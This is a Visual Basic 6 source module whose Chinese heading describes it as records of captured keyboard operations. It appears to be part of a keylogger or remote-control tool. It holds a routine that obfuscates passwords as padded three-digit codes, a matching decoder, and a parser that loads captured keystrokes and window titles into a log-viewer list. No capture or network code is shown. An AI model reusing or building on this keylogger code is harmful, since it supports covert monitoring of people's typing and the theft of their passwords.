module4.bas

捕获键盘操作的记录

Attribute VB_Name = "Module3"
Option Explicit

Public Function getrelstr(s As String) As String
    Dim i As Integer, order As String, plen As Integer, temp As String
     On Error Resume Next
    If s = "" Then
        getrelstr = ""
        Exit Function
    End If
    s = Right(s, Len(s) - 3)
    For i = 1 To Int(Len(s) / 3)
        temp = Left(s, 3)
        s = Right(s, Len(s) - 3)
        order = order & Chr(500 - Val(temp))
    Next
    getrelstr = order
End Function

Public Function dealpass(s As String) As String
     On Error Resume Next
    Dim plen As Integer, order As String, i As Integer
    If s = "" Then
        dealpass = ""
        Exit Function
    End If
    plen = Len(s)
    order = (Int(Rnd * 10))
    order = order & plen
    order = order & Int(Rnd * 10)
    For i = 1 To Len(s)
        order = order & 500 - Asc(Right(Left(s, i), 1))
    Next
    dealpass = order
End Function

Public Sub check_key_log(s As String)
     On Error Resume Next
    Dim i As Integer, ss As String
    Dim itmX As ListItem
    ss = Chr(34)
    If s = ss Then Exit Sub
    If Left(s, 1) = "[" And Right(s, 1) = "]" And Right(Left(s, 16), 7) = " - 窗口： " Then
        Set itmX = Frmkeylog.ListView1.ListItems.Add(, , Right(Left(s, 9), 8))
        Frmkeylog.ListView1.ListItems(Frmkeylog.ListView1.ListItems.Count).SubItems(1) = Left(Right(s, Len(s) - 16), Len(Right(s, Len(s) - 16)) - 1)
        Exit Sub
    End If
    
    Frmkeylog.ListView1.ListItems(Frmkeylog.ListView1.ListItems.Count).SubItems(2) = s
End Sub